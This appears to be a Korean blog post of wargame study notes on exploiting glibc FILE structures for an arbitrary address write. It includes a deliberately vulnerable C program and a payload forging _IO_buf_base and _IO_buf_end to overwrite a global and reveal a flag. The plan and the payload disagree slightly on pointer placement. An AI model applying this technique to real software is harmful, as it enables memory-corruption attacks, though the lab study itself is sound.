본문 바로가기

_IO_FILE Arbitrary Address Write 본문

개념 정리

_IO_FILE Arbitrary Address Write

Seongjun_You 2022. 2. 10. 17:17

https://dreamhack.io/learn/274#1

 

로그인 | Dreamhack

 

dreamhack.io

#include <stdio.h>
#include <unistd.h>
#include <string.h>
char account_buf[1024];
int overwrite_me;
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
int read_account() {
	FILE *fp;
	fp = fopen("flag", "r");
	fread(account_buf, sizeof(char), sizeof(account_buf), fp);
	write(1, account_buf, sizeof(account_buf));
	fclose(fp);
}
int main() {
  FILE *fp;
  char file_buf[1024];
  init();
  fp = fopen("/etc/issue", "r");
  printf("Data: ");
  read(0, fp, 300);
  fread(file_buf, 1, sizeof(file_buf)-1, fp);
  printf("%s", file_buf);
  if( overwrite_me == 0xDEADBEEF) 
  	read_account();
  fclose(fp);
}

코드 분석

파일을 오픈한 후 read에서 파일 구조체 조작

fread로 fp의 데이터를 file_buf로 읽고 출력한다.

overwrite_me가 0xDEADBEEF일 경우 flag를 출력

 

 

exploit 설계

fread에서 참조하는 파일구조체를 조작해

overwrite_me의 값을 0xDEADBEEF로 덮는다.

 

파일 구조체 조작

_IO_buf_end -> overwrite_me

_IO_buf_base -> overwrite_me + ???

fileno -> 0

 

tip) *(_IO_buf_base) > *(_IO_buf_end) 조건을 만족해야 한다.

 

payload = p64(0xfbad2488)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base 
payload += p64(0) # _IO_write_ptr 
payload += p64(0) # _IO_write_end 
payload += p64(overwrite_me) # _IO_buf_base
payload += p64(overwrite_me+1024) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) 
payload += p64(0) # stdin
p.sendline(payload)
p.sendline(p64(0xDEADBEEF) + "\x00"*1024)

 

 

'개념 정리' 카테고리의 다른 글

HTTP/HTTPS  (0) 2022.05.27
base64  (0) 2022.02.13
_IO_FILE Arbitrary Address Read  (0) 2022.02.10
__environ  (0) 2022.02.09
overwrite _rtld_global  (0) 2022.02.07
Comments